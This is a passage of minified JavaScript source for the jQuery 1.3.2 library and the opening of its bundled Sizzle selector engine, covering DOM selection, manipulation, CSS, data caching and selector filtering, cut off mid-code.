/*
 * jQuery JavaScript Library v1.3.2
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
 * Revision: 6246
 */
(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G<E;G++){L.call(K(this[G],H),this.length>1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H<I;H++){if((G=arguments[H])!=null){for(var F in G){var K=J[F],L=G[F];if(J===L){continue}if(E&&L&&typeof L==="object"&&!L.nodeType){J[F]=o.extend(E,K||(L.length!=null?[]:{}),L)}else{if(L!==g){J[F]=L}}}}}return J};var b=/z-?index|font-?weight|opacity|zoom|line-?height/i,q=document.defaultView||{},s=Object.prototype.toString;o.extend({noConflict:function(E){l.$=p;if(E){l.jQuery=y}return o},isFunction:function(E){return s.call(E)==="[object Function]"},isArray:function(E){return s.call(E)==="[object Array]"},isXMLDoc:function(E){return E.nodeType===9&&E.documentElement.nodeName!=="HTML"||!!E.ownerDocument&&o.isXMLDoc(E.ownerDocument)},globalEval:function(G){if(G&&/\S/.test(G)){var F=document.getElementsByTagName("head")[0]||document.documentElement,E=document.createElement("script");E.type="text/javascript";if(o.support.scriptEval){E.appendChild(document.createTextNode(G))}else{E.text=G}F.insertBefore(E,F.firstChild);F.removeChild(E)}},nodeName:function(F,E){return F.nodeName&&F.nodeName.toUpperCase()==E.toUpperCase()},each:function(G,K,F){var E,H=0,I=G.length;if(F){if(I===g){for(E in G){if(K.apply(G[E],F)===false){break}}}else{for(;H<I;){if(K.apply(G[H++],F)===false){break}}}}else{if(I===g){for(E in G){if(K.call(G[E],E,G[E])===false){break}}}else{for(var J=G[0];H<I&&K.call(J,H,J)!==false;J=G[++H]){}}}return G},prop:function(H,I,G,F,E){if(o.isFunction(I)){I=I.call(H,F)}return typeof I==="number"&&G=="curCSS"&&!b.test(E)?I+"px":I},className:{add:function(E,F){o.each((F||"").split(/\s+/),function(G,H){if(E.nodeType==1&&!o.className.has(E.className,H)){E.className+=(E.className?" ":"")+H}})},remove:function(E,F){if(E.nodeType==1){E.className=F!==g?o.grep(E.className.split(/\s+/),function(G){return !o.className.has(F,G)}).join(" "):""}},has:function(F,E){return F&&o.inArray(E,(F.className||F).toString().split(/\s+/))>-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+"></"+T+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!O.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!O.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!O.indexOf("<td")||!O.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!O.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||!o.support.htmlSerialize&&[1,"div<div>","</div>"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/<tbody/i.test(S),N=!O.indexOf("<table")&&!R?L.firstChild&&L.firstChild.childNodes:Q[1]=="<table>"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E<F;E++){if(H[E]===G){return E}}return -1},merge:function(H,E){var F=0,G,I=H.length;if(!o.support.getAll){while((G=E[F++])!=null){if(G.nodeType!=8){H[I++]=G}}}else{while((G=E[F++])!=null){H[I++]=G}}return H},unique:function(K){var F=[],E={};try{for(var G=0,H=K.length;G<H;G++){var J=o.data(K[G]);if(!E[J]){E[J]=true;F.push(K[G])}}}catch(I){F=K}return F},grep:function(F,J,E){var G=[];for(var H=0,I=F.length;H<I;H++){if(!E!=!J(F[H],H)){G.push(F[H])}}return G},map:function(E,J){var F=[];for(var G=0,H=E.length;G<H;G++){var I=J(E[G],G);if(I!=null){F[F.length]=I}}return F.concat.apply([],F)}});var C=navigator.userAgent.toLowerCase();o.browser={version:(C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,"0"])[1],safari:/webkit/.test(C),opera:/opera/.test(C),msie:/msie/.test(C)&&!/opera/.test(C),mozilla:/mozilla/.test(C)&&!/(compatible|webkit)/.test(C)};o.each({parent:function(E){return E.parentNode},parents:function(E){return o.dir(E,"parentNode")},next:function(E){return o.nth(E,2,"nextSibling")},prev:function(E){return o.nth(E,2,"previousSibling")},nextAll:function(E){return o.dir(E,"nextSibling")},prevAll:function(E){return o.dir(E,"previousSibling")},siblings:function(E){return o.sibling(E.parentNode.firstChild,E)},children:function(E){return o.sibling(E.firstChild)},contents:function(E){return o.nodeName(E,"iframe")?E.contentDocument||E.contentWindow.document:o.makeArray(E.childNodes)}},function(E,F){o.fn[E]=function(G){var H=o.map(this,F);if(G&&typeof G=="string"){H=o.multiFilter(G,H)}return this.pushStack(o.unique(H),E,G)}});o.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(E,F){o.fn[E]=function(G){var J=[],L=o(G);for(var K=0,H=L.length;K<H;K++){var I=(K>0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}});
/*
 * Sizzle CSS Selector Engine - v0.9.3
 *  Copyright 2009, The Dojo Foundation
 *  Released under the MIT, BSD, and GPL Licenses.
 *  More information: http://sizzlejs.com/
 */
(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa<ab.length;aa++){if(ab[aa]===ab[aa-1]){ab.splice(aa--,1)}}}}}return ab};F.matches=function(T,U){return F(T,null,null,U)};F.find=function(aa,T,ab){var Z,X;if(!aa){return[]}for(var W=0,V=I.order.length;W<V;W++){var Y=I.order[W],X;if((X=I.match[Y].exec(aa))){var U=RegExp.leftContext;if(U.substr(U.length-1)!=="\\"){X[1]=(X[1]||"").replace(/\\/g,"");Z=I.find[Y](X,T,ab);if(Z!=null){aa=aa.replace(I.match[Y],"");break}}}}if(!Z){Z=T.getElementsByTagName("*")}return{set:Z,expr:aa}};F.filter=function(ad,ac,ag,W){var V=ad,ai=[],aa=ac,Y,T,Z=ac&&ac[0]&&Q(ac[0]);while(ad&&ac.length){for(var ab in I.filter){if((Y=I.match[ab].exec(ad))!=null){var U=I.filter[ab],ah,af;T=false;if(aa==ai){ai=[]}if(I.preFilter[ab]){Y=I.preFilter[ab](Y,aa,ag,ai,W,Z);if(!Y){T=ah=true}else{if(Y===true){continue}}}if(Y){for(var X=0;(af=aa[X])!=null;X++){if(af){ah=U(af,Y,X,aa);var ae=W^!!ah;if(ag&&ah!=null){if(ae){T=true}else{aa[X]=false}}else{if(ae){ai.push(af);T=true}}}}}if(ah!==g){if(!ag){aa=ai}ad=ad.replace(I.match[ab],"");if(!T){return[]}break}}}if(ad==V){if(T==null){throw"Syntax error, unrecognized expression: "+ad}else{break}}V=ad}return aa};var I=F.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(T){return T.getAttribute("href")}},relative:{"+":function(aa,T,Z){var X=typeof T==="string",ab=X&&!/\W/.test(T),Y=X&&!ab;if(ab&&!Z){T=T.toUpperCase()}for(var W=0,V=aa.length,U;W<V;W++){if((U=aa[W])){while((U=U.previousSibling)&&U.nodeType!==1){}aa[W]=Y||U&&U.nodeName===T?U||false:U===T}}if(Y){F.filter(T,aa,true)}},">":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){var W=Y.parentNode;Z[V]=W.nodeName===U?W:false}}}else{for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){Z[V]=X?Y.parentNode:Y.parentNode===U}}if(X){F.filter(U,Z,true)}}},"":function(W,U,Y){var V=L++,T=S;if(!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("parentNode",U,V,W,X,Y)},"~":function(W,U,Y){var V=L++,T=S;if(typeof U==="string"&&!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("previousSibling",U,V,W,X,Y)}},find:{ID:function(U,V,W){if(typeof V.getElementById!=="undefined"&&!W){var T=V.getElementById(U[1]);return T?[T]:[]}},NAME:function(V,Y,Z){if(typeof Y.getElementsByName!=="undefined"){var U=[],X=Y.getElementsByName(V[1]);for(var W=0,T=X.length;W<T;W++){if(X[W].getAttribute("name")===V[1]){U.push(X[W])}}return U.length===0?null:U}},TAG:function(T,U){return U.getElementsByTagName(T[1])}},preFilter:{CLASS:function(W,U,V,T,Z,aa){W=" "+W[1].replace(/\\/g,"")+" ";if(aa){return W}for(var X=0,Y;(Y=U[X])!=null;X++){if(Y){if(Z^(Y.className&&(" "+Y.className+" ").indexOf(W)>=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return U<T[3]-0},gt:function(V,U,T){return U>T[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W<T;W++){if(Y[W]===Z){return false}}return true}}}},CHILD:function(T,W){var Z=W[1],U=T;switch(Z){case"only":case"first":while(U=U.previousSibling){if(U.nodeType===1){return false}}if(Z=="first"){return true}U=T;case"last":while(U=U.nextSibling){if(U.nodeType===1){return false}}return true;case"nth":var V=W[2],ac=W[3];if(V==1&&ac==0){return true}var Y=W[0],ab=T.parentNode;if(ab&&(ab.sizcache!==Y||!T.nodeIndex)){var X=0;for(U=ab.firstChild;U;U=U.nextSibling){if(U.nodeType===1){U.nodeIndex=++X}}ab.sizcache=Y}var aa=T.nodeIndex-ac;if(V==0){return aa==0}else{return(aa%V==0&&aa/V>=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V<T;V++){U.push(X[V])}}else{for(var V=0;X[V];V++){U.push(X[V])}}}return U}}var G;if(document.documentElement.compareDocumentPosition){G=function(U,T){var V=U.compareDocumentPosition(T)&4?-1:U===T?0:1;if(V===0){hasDuplicate=true}return V}}else{if("sourceIndex" in document.documentElement){G=function(U,T){var V=U.sourceIndex-T.sourceIndex;if(V===0){hasDuplicate=true}return V}}else{if(document.createRange){G=function(W,U){var V=W.ownerDocument.createRange(),T=U.ownerDocument.createRange();V.selectNode(W);V.collapse(true);T.selectNode(U);T.collapse(true);var X=V.compareBoundaryPoints(Range.START_TO_END,T);if(X===0){hasDuplicate=true}return X}}}}(function(){var U=document.createElement("form"),V="script"+(new Date).getTime();U.innerHTML="<input name='"+V+"'/>";var 